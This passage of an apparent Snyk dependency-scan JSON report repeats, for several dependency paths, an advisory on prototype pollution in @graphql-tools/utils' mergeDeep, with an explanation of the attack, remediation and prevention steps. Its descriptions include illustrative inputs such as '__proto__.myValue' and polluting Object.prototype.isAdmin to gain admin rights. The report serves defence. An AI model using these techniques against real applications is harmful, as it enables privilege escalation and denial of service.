"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@graphql-codegen/c-sharp-operations@3.2.0",
"@graphql-codegen/plugin-helpers@5.1.1",
"@graphql-tools/utils@10.10.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "@graphql-tools/utils",
"version": "10.10.3"
},
{
"id": "SNYK-JS-GRAPHQLTOOLSUTILS-20537055",
"title": "Prototype Pollution",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"tepel-chen"
],
"semver": {
"vulnerable": [
"<12.0.1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"12.0.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@graphql-tools/utils",
"references": [
{
"url": "https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e",
"title": "GitHub Commit"
},
{
"url": "https://github.com/ardatan/graphql-tools/pull/8423",
"title": "GitHub PR"
},
{
"url": "https://github.com/graphql-hive/gateway/pull/2600",
"title": "GitHub PR"
},
{
"url": "https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"description": "## Overview\n[@graphql-tools/utils](https://www.npmjs.org/package/@graphql-tools/utils) is a Common package containing utils and types for GraphQL tools\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `mergeDeep` function, which fails to block reserved property keys such as `__proto__`, `constructor`, and `prototype` before recursively merging source objects into an output object. An attacker who controls a source object passed to `mergeDeep` can pollute `Object.prototype`, potentially affecting all objects in the process and enabling further exploitation.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `__proto__` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `__proto__.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n\n- Web browser\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `@graphql-tools/utils` to version 12.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e)\n- [GitHub PR](https://github.com/ardatan/graphql-tools/pull/8423)\n- [GitHub PR](https://github.com/graphql-hive/gateway/pull/2600)\n- [Maintainer's Advisory](https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv)\n",
"epssDetails": {
"percentile": "0.27143",
"probability": "0.00356",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-104852"
],
"CWE": [
"CWE-1321"
],
"GHSA": [
"GHSA-7mx3-vvmw-hjmv"
]
},
"packageName": "@graphql-tools/utils",
"proprietary": false,
"creationTime": "2026-10-06T13:40:54.993466Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-06T00:13:54.277000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-06T13:40:55.188306Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-07T13:32:37.361867Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@graphql-codegen/c-sharp@5.1.2",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/utils@10.10.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "@graphql-tools/utils",
"version": "10.10.3"
},
{
"id": "SNYK-JS-GRAPHQLTOOLSUTILS-20537055",
"title": "Prototype Pollution",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"tepel-chen"
],
"semver": {
"vulnerable": [
"<12.0.1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"12.0.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@graphql-tools/utils",
"references": [
{
"url": "https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e",
"title": "GitHub Commit"
},
{
"url": "https://github.com/ardatan/graphql-tools/pull/8423",
"title": "GitHub PR"
},
{
"url": "https://github.com/graphql-hive/gateway/pull/2600",
"title": "GitHub PR"
},
{
"url": "https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"description": "## Overview\n[@graphql-tools/utils](https://www.npmjs.org/package/@graphql-tools/utils) is a Common package containing utils and types for GraphQL tools\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `mergeDeep` function, which fails to block reserved property keys such as `__proto__`, `constructor`, and `prototype` before recursively merging source objects into an output object. An attacker who controls a source object passed to `mergeDeep` can pollute `Object.prototype`, potentially affecting all objects in the process and enabling further exploitation.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `__proto__` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `__proto__.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n\n- Web browser\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `@graphql-tools/utils` to version 12.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e)\n- [GitHub PR](https://github.com/ardatan/graphql-tools/pull/8423)\n- [GitHub PR](https://github.com/graphql-hive/gateway/pull/2600)\n- [Maintainer's Advisory](https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv)\n",
"epssDetails": {
"percentile": "0.27143",
"probability": "0.00356",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-104852"
],
"CWE": [
"CWE-1321"
],
"GHSA": [
"GHSA-7mx3-vvmw-hjmv"
]
},
"packageName": "@graphql-tools/utils",
"proprietary": false,
"creationTime": "2026-10-06T13:40:54.993466Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-06T00:13:54.277000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-06T13:40:55.188306Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-07T13:32:37.361867Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@graphql-codegen/c-sharp-operations@3.2.0",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/utils@10.10.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "@graphql-tools/utils",
"version": "10.10.3"
},
{
"id": "SNYK-JS-GRAPHQLTOOLSUTILS-20537055",
"title": "Prototype Pollution",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"tepel-chen"
],
"semver": {
"vulnerable": [
"<12.0.1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"12.0.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@graphql-tools/utils",
"references": [
{
"url": "https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e",
"title": "GitHub Commit"
},
{
"url": "https://github.com/ardatan/graphql-tools/pull/8423",
"title": "GitHub PR"
},
{
"url": "https://github.com/graphql-hive/gateway/pull/2600",
"title": "GitHub PR"
},
{
"url": "https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"description": "## Overview\n[@graphql-tools/utils](https://www.npmjs.org/package/@graphql-tools/utils) is a Common package containing utils and types for GraphQL tools\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `mergeDeep` function, which fails to block reserved property keys such as `__proto__`, `constructor`, and `prototype` before recursively merging source objects into an output object. An attacker who controls a source object passed to `mergeDeep` can pollute `Object.prototype`, potentially affecting all objects in the process and enabling further exploitation.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `__proto__` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `__proto__.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n\n- Web browser\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `@graphql-tools/utils` to version 12.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e)\n- [GitHub PR](https://github.com/ardatan/graphql-tools/pull/8423)\n- [GitHub PR](https://github.com/graphql-hive/gateway/pull/2600)\n- [Maintainer's Advisory](https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv)\n",
"epssDetails": {
"percentile": "0.27143",
"probability": "0.00356",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-104852"
],
"CWE": [
"CWE-1321"
],
"GHSA": [
"GHSA-7mx3-vvmw-hjmv"
]
},
"packageName": "@graphql-tools/utils",
"proprietary": false,
"creationTime": "2026-10-06T13:40:54.993466Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-06T00:13:54.277000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-06T13:40:55.188306Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-07T13:32:37.361867Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@graphql-codegen/c-sharp@5.1.2",
"@graphql-codegen/c-sharp-common@1.2.0",
"@graphql-codegen/plugin-helpers@5.1.1",
"@graphql-tools/utils@10.10.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "@graphql-tools/utils",
"version": "10.10.3"
},
{
"id": "SNYK-JS-GRAPHQLTOOLSUTILS-20537055",
"title": "Prototype Pollution",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"tepel-chen"
],
"semver": {
"vulnerable": [
"<12.0.1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"12.0.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@graphql-tools/utils",
"references": [
{
"url": "https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e",
"title": "GitHub Commit"
},
{
"url": "https://github.com/ardatan/graphql-tools/pull/8423",
"title": "GitHub PR"
},
{
"url": "https://github.com/graphql-hive/gateway/pull/2600",
"title": "GitHub PR"
},
{
"url": "https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"description": "## Overview\n[@graphql-tools/utils](https://www.npmjs.org/package/@graphql-tools/utils) is a Common package containing utils and types for GraphQL tools\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `mergeDeep` function, which fails to block reserved property keys such as `__proto__`, `constructor`, and `prototype` before recursively merging source objects into an output object. An attacker who controls a source object passed to `mergeDeep` can pollute `Object.prototype`, potentially affecting all objects in the process and enabling further exploitation.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `__proto__` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `__proto__.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n\n- Web browser\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `@graphql-tools/utils` to version 12.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e)\n- [GitHub PR](https://github.com/ardatan/graphql-tools/pull/8423)\n- [GitHub PR](https://github.com/graphql-hive/gateway/pull/2600)\n- [Maintainer's Advisory](https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv)\n",
"epssDetails": {
"percentile": "0.27143",
"probability": "0.00356",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-104852"
],
"CWE": [
"CWE-1321"
],
"GHSA": [
"GHSA-7mx3-vvmw-hjmv"
]
},
"packageName": "@graphql-tools/utils",
"proprietary": false,
"creationTime": "2026-10-06T13:40:54.993466Z",
